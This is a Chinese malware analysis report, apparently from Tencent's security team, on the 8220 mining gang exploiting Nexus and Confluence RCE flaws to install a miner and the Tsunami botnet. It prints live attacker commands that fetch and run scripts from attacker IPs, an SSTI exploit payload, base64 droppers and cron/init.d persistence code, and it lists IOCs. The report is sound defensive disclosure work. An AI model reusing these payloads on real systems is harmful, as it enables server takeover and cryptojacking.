首页
社区
课程
招聘
[原创]腾讯主机安全(云镜)捕获8220挖矿团伙最新变种使用新漏洞对企业云服务器的攻击
发表于: 2020-10-20 10:19 5159

[原创]腾讯主机安全(云镜)捕获8220挖矿团伙最新变种使用新漏洞对企业云服务器的攻击

2020-10-20 10:19
5159

一、背景

腾讯安全接到用户求助,报告腾讯云主机安全(云镜)网络防御功能检测到攻击事件。腾讯安全专家通过攻击日志分析,发现这是8220挖矿团伙最新变种针对企业云服务器的攻击活动,该用户对腾讯主机安全(云镜)网络攻击日志告警及时处置,已彻底消除该挖矿团伙的威胁。

 

1.腾讯主机安全(云镜)检测网络攻击

 

在此次攻击活动中,发现8220挖矿团伙首次使Nexus Repository Manager 3远程代码执行漏洞CVE-2019-7238、Confluence 远程代码执行漏洞CVE-2019-3396攻击入侵,并在入侵后会尝试利用多个SSH爆破工具进行横向移动,最终在失陷系统植入挖矿木马以及Tsunami僵尸网络病毒。

 

腾讯安全研究人员分析发现,此次利用Nexus Repository Manager 3Confluence Server高危漏洞的攻击来源为8220挖矿团伙,此次入侵后将核心shell程序xms下载到感染机器上执行,xms会尝试卸载安全软件,杀死竞品挖矿木马进程,关闭Linux防火墙、设置最大线程和内存页以保证挖矿时对机器资源的充分利用。

 

在横向移动阶段,8220挖矿团伙利用多个攻击程序对目标机器进行SSH爆破,攻击成功后上传木马程序并执行远程命令。执行Payload除了下载xms脚本的命令外,还会执行Python脚本代码d.pydd.py(取决于C2域名bash.givemexyz.in是否可用)下载挖矿木马以及Tsunami僵尸程序,并且通过安装crontab定时任务和系统初始化脚本进行本地持久化,入侵攻击流程如下:

 

2.8220挖矿变种攻击流程

 

8220挖矿团伙自2017年左右开始活跃,攻击目标包括Windows以及Linux服务器,该团伙早期会利用Docker镜像传播挖矿木马,后来又逐步利用Redis未授权访问漏洞、Kubernetes未授权访问漏洞、JBoss漏洞(CVE-2017-12149)、Weblogic漏洞(CVE-2017-10271)、Couchdb漏洞(CVE-2017-12635CVE-2017-12636)、Drupal漏洞(CVE-2018-7600)Hadoop Yarn未授权访问漏洞、Apache Struts漏洞(CVE-2017-5638)、Tomcat服务器弱口令爆破进行攻击,并且在2020年被发现开始通过SSH爆破进行横向攻击传播。

腾讯安全系列产品针对8220挖矿团伙最新行动的响应清单如下:





二、详细分析

1.网络入侵

Nexus Repository Manager 3中存在CVE-2019-7238远程代码执行漏洞,影响版本Nexus Repository Manager OSS/Pro 3.6.2 到 3.14.0,腾讯云安全团队于2019年2月13日发现并上报该漏洞。

 

攻击者构造请求对运行Nexus Repository Manager 3的主机进行攻击,执行恶意命令传播挖矿程序,该攻击活动被腾讯主机安全(云镜)网络防御模块检测告警。

 

执行shell命令如下:

rm -rf /tmp/.python; curl -s http://205.185.116.78/xms | bash -sh; wget -q -O - http://205.185.116.78/xms | bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExNi43OC9kLnB5IikucmVhZCgpKSc= | base64 -d | bash -; lwp-download http://205.185.116.78/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms

 

Confluence Server和Confluence Data Center产品中使用的widgetconnecter组件(版本<=3.1.3)中存在服务器端模板注入(SSTI)漏洞CVE-2019-3396。攻击者可以利用该漏洞实现对目标系统进行远程代码执行(RCE)。

 

8220挖矿团伙于20201015日上传了攻击Payload: ftp[:]//205.185.116.78/x.vm

 

图3

 

x.vm代码:

#set($e="e")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("wget http[:]//205.185.116.78/xms -O /tmp/xms")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl -O /tmp/xms http[:]//205.185.116.78/xms")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("lwp-download http[:]//205.185.116.78/xms /tmp/xms")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExNi43OC9kLnB5IikucmVhZCgpKSc= | base64 -d")


2
.核心shell

为了达到最大化占用内存资源进行挖矿的目的,xms首先进行以下设置:

setenforce 0 设置SELinux 成为permissive模式临时关闭Linux防火墙,通过ulimit设置最大线程,通过vm.nr_hugepages设置最大内存页提高内存性能

1.setenforce 0 2>/dev/null

2.ulimit -u 50000

3.sysctl -w vm.nr_hugepages=$((`grep -c processor /proc/cpuinfo` * 3))

 

然后通过搜索端口号、矿池IP地址找到并杀死竞品挖矿进程:

 

图4.杀死竞品挖矿进程

 

试图卸载阿里云骑士、腾讯云镜,该段代码目前被屏蔽,推测是黑客担心卸载行为被检测到。

 

图5.卸载安全软件

 

ifconfig中获取IP地址备用。

图6.获取IP地址

 

通过Ping命令测试矿池域名DNS是否成功。

 

图7.测试矿池域名

 

设置横向移动攻击时的Payload:

payload="(curl -fsSL http://198.98.57.217/xms||wget -q -O- http://198.98.57.217/xms)|bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xOTguOTguNTcuMjE3L2QucHkiKS5yZWFkKCkpJw== | base64 -d | bash -; lwp-download http://198.98.57.217/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms"

 

Payload执行的代码主要功能为下载核心shell脚本xms并执行。

 

其中echo命令中的内容解码如下,主要功能为下载和执行Python代码d.py

python -c 'import urllib;exec(urllib.urlopen("http://198.98.57.217/d.py").read())'

 

接着d.py负责下载和启动挖矿木马,x86_x6464位、i68632位,go负责启动挖矿进程和将其伪装成系统进程。

 

图8.下载挖矿木马

 

挖矿木马使用UPX壳保护,挖矿程序运行时伪装成系统进程“dbus”。

 

图9


 

图10.挖矿木马启动

 

脱壳后发现挖矿木马采用开源挖矿程序XMRig编译,并使用了特殊字符串pwnRig”进行标记。

 

图11.挖矿木马标记

 

d.py部署挖矿进程后,base64解码执行另一段Python代码,负责下载bb.py:

python -c 'import urllib;exec(urllib.urlopen("http://bash.givemexyz.in/bb.py").read())'

 

接着bb.py负责下载和执行Tsunami僵尸程序

 

图12.下载Tsunami僵尸程序

 

Tsunami僵尸程序会利用远程代码执行漏洞,扫描、定位和攻击脆弱的系统,然后通过僵尸网络控制设备,通过IRC协议与C2服务器通信,根据命令发起HTTP、UDP类型的DDoS攻击。

 

图13. Tsunami僵尸程序特征

 

接着解码另一段base64编码的代码并执行:

#!/bin/bash

 

if [ $(ping -c 1 bash.givemexyz.xyz 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];

then

        url="bash.givemexyz.xyz"

        base="cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly9iYXNoLmdpdmVtZXh5ei54eXovZGQucHkiKS5yZWFkKCkpJw=="

else

        url="5.196.247.12"

        base="cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly81LjE5Ni4yNDcuMTIvZC5weSIpLnJlYWQoKSkn"

fi

 

if crontab -l | grep -q "205.185.113.151\|198.98.57.217"

then

    chattr -i -a /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down

    crontab -r

    echo "Cron not found"

   echo -e "*/1 * * * * root (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\n##" > /etc/cron.d/root

echo -e "*/2 * * * * root (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\n##" > /etc/cron.d/apache

echo -e "*/3 * * * * root /dev/shm/dbusex -c $dns && /home/`whoami`/dbusex -c $dns && /var/run/dbusex -c $dns && /root/dbusex -c $dns\n##" > /etc/cron.d/nginx

echo -e "*/30 * * * * (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms\n; rm -rf /tmp/xms\n##" > /var/spool/cron/root

echo IyEvYmluL2Jhc2gKCmVjaG8gLWUgJyMhL2Jpbi9iYXNoCiMjIyBCRUdJTiBJTklUIElORk8KIyBQcm92aWRlczogICAgICAgICAgZG93bgojIFJlcXVpcmVkLVN0YXJ0OgojIFJlcXVpcmVkLVN0b3A6CiMgRGVmYXVsdC1TdGFydDogICAgIDIgMyA0IDUKIyBEZWZhdWx0LVN0b3A6CiMgU2hvcnQtRGVzY3JpcHRpb246IGRvd24gKGJ5IHB3bmVkKQojIyMgRU5EIElOSVQgSU5GTwooY3VybCAtZnNTTCBodHRwOi8vNS4xOTYuMjQ3LjEyL3htc3x8d2dldCAtcSAtTy0gaHR0cDovLzUuMTk2LjI0Ny4xMi94bXMpfGJhc2ggLXNoOyBlY2hvIGNIbDBhRzl1SUMxaklDZHBiWEJ2Y25RZ2RYSnNiR2xpTzJWNFpXTW9kWEpzYkdsaUxuVnliRzl3Wlc0b0ltaDBkSEE2THk4MUxqRTVOaTR5TkRjdU1USXZaQzV3ZVNJcExuSmxZV1FvS1NrbiB8IGJhc2U2NCAtZCB8IGJhc2ggLTsgbHdwLWRvd25sb2FkIGh0dHA6Ly81LjE5Ni4yNDcuMTIveG1zIC90bXAveG1zOyBiYXNoIC90bXAveG1zJyA+IC9ldGMvaW5pdC5kL2Rvd24= | base64 -d | bash -

mkdir -p /var/spool/cron/crontabs

echo -e "* * * * * (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\n##" > /var/spool/cron/crontabs/root

mkdir -p /etc/cron.hourly

echo "(curl -fsSL http://$url/xms||wget -q -O- http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/cron.hourly/oanacroner1

 

fi

 

该段代码主要有以下功能:

1. 测试bash.givemexyz.xyz是否能解析成功,能则赋值url="bash.givemexyz.xyz"且将base(定时任务)设置为dd.py,否则url=" 5.196.247.12"base(定时任务)设为d.py

2. 将执行xms脚本的命令写入定时任务,写入以下位置:

/etc/cron.d/root

/etc/cron.d/apache

/etc/cron.d/nginx

/var/spool/cron/root

/var/spool/cron/crontabs/root

/etc/cron.hourly/oanacroner1

 

3. 执行一段base64编码的代码,通过设置系统初始化脚本(Linux Standard Base)将恶意代码添加到启动项/etc/init.d/down

#!/bin/bash

 

echo -e '#!/bin/bash

### BEGIN INIT INFO

# Provides:          down

# Required-Start:

# Required-Stop:

# Default-Start:     2 3 4 5

# Default-Stop:

# Short-Description: down (by pwned)

### END INIT INFO

(curl -fsSL http://5.196.247.12/xms||wget -q -O- http://5.196.247.12/xms)|bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly81LjE5Ni4yNDcuMTIvZC5weSIpLnJlYWQoKSkn | base64 -d | bash -; lwp-download http://5.196.247.12/xms /tmp/xms; bash /tmp/xms' > /etc/init.d/down

 

3.横向移动

1.从/.ssh/known_hosts中获取已认证的远程主机ID,与对应的主机建立SSH连接并执行命令下载恶意脚本xms。

 

图14

 

2.利用下载的攻击程序hxx进行SSH扫描和爆破登陆,然后下载xms执行。

 

图15

 

Hxx为一款端口扫描和爆破工具,在某视频分享网站上https[:]//asciinema.org/a/106101有作者honeypot上传的演示视频。

 

图16

 

爆破字典中包含16000多对SSH账号密码。

 

图17

 

3.利用下载的攻击程序sshexecsshpass进行SSH爆破登陆。

 

图18

 

sshexec支持上传文件到远程服务器同时执行命令,攻击时将包含挖矿木马和启动程序的压缩包"/tmp/good.tar.gz"上传到目标服务器,然后解压执行。

图19


IOCs

IP

205.185.116.78

5.196.247.12

198.98.57.217

205.185.113.151

194.156.99.30

209.141.61.233

209.141.33.226

209.141.35.17

 

Domain

bash.givemexyz.xyz

bash.givemexyz.in

c4k-rx0.pwndns.pw

MD5

xms

917f0390a3568385fcbfecc0b2b36590

xms

c242aee778acb533db60b1bc8bb7478d

xmi

4613a0cdf913d3f193e977bebbaf7536

x86_64

cd7ca50a01fc9c6e8fdc8c3d5e6100f0

i686

8bfc072d37f41190515f8dc00a59fb2e

x32b

ee48aa6068988649e41febfa0e3b2169

x64b

c4d44eed4916675dd408ff0b3562fb1f

go

9c7ceb4aa12986d40ffdd93ba0ca926e

d.py

2bee6aad5c035f13fc122ec553857701

dd.py

d563218fee8156116e1ad023f24e1a5d

bb.py

2fd8cfcac4d08577c6347567b5978497

good.tar.gz

8f1e95b72e228327d5d035e8c9875cb4

linux.tar.gz

c7a83c9225223394a5e3097d8e1eb66e

sshexec

57b818cb57dd4a517bde72684e9aaade

sshpass

b1fc3486f3f4d3f23fcbf8b8b0522bf8

scan

b42183f226ab540fb07dd46088b382cf

hxx

f0551696774f66ad3485445d9e3f7214

l.py

022d538e6175a58c4ebdfe3b1f16c82e

 

URL

http[:]//205.185.116.78/xms

http[:]//205.185.116.78/sshpass

http[:]//205.185.116.78/sshexec

http[:]//205.185.116.78/p

http[:]//205.185.116.78/scan

http[:]//205.185.116.78/masscan

http[:]//205.185.116.78/hxx

http[:]//205.185.116.78/d.py

http[:]//205.185.116.78/dd.py

http[:]//205.185.116.78/bb.py

http[:]//bash.givemexyz.xyz/xms

http[:]//bash.givemexyz.xyz/dd.py

http[:]//bash.givemexyz.xyz/i686

http[:]//bash.givemexyz.xyz/d.py

http[:]//bash.givemexyz.xyz/x32b

http[:]//bash.givemexyz.xyz/xmi

http[:]//bash.givemexyz.xyz/x86_64

http[:]//198.98.57.217/xms

http[:]//198.98.57.217/xmi

http[:]//198.98.57.217/sshexec

http[:]//198.98.57.217/sshpass

http[:]//198.98.57.217/good.tar.gz

http[:]//198.98.57.217/d.py

http[:]//198.98.57.217/x64b

http[:]//198.98.57.217/x32b

http[:]//194.156.99.30/l.py

http[:]//bash.givemexyz.in/dd.py

http[:]//209.141.35.17/wpfa.txt

 

参考链接:

1. Nexus Repository Manager 3 访问控制缺失及远程代码执行漏洞预警

https://cloud.tencent.com/announce/detail/459

 

2. Confluence未授权RCE(CVE-2019-3396)漏洞分析

https://paper.seebug.org/884/

 

3. 疑似国内来源的8220挖矿团伙”追踪溯源分析

https://mp.weixin.qq.com/s/oUV6iDvIrsoiQztjNVCDIA

 

4 “8220团伙”最新活动分析:挖矿木马与勒索病毒共舞

https://mp.weixin.qq.com/s/CPHRAntQAflcJr_BcNnNUg

 

5. 8220团伙新动向:利用Aapche Struts高危漏洞入侵,Windows、Linux双平台挖矿

https://mp.weixin.qq.com/s/sO8sXWKVWCHS6upVc_6UtQ

 

6. “疫”时期,谨防服务器被StartMiner趁机挖矿!

https://mp.weixin.qq.com/s/4350pUlXYXTMyYEAzztwQQ

 

7. “8220”挖矿木马入侵服务器挖矿,组建“海啸”僵尸网络,可发起DDoS攻击

https://mp.weixin.qq.com/s/X0LeyXch6Bsa_2aF-cItXQ

 



[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2020-10-20 10:38 被腾讯电脑管家编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//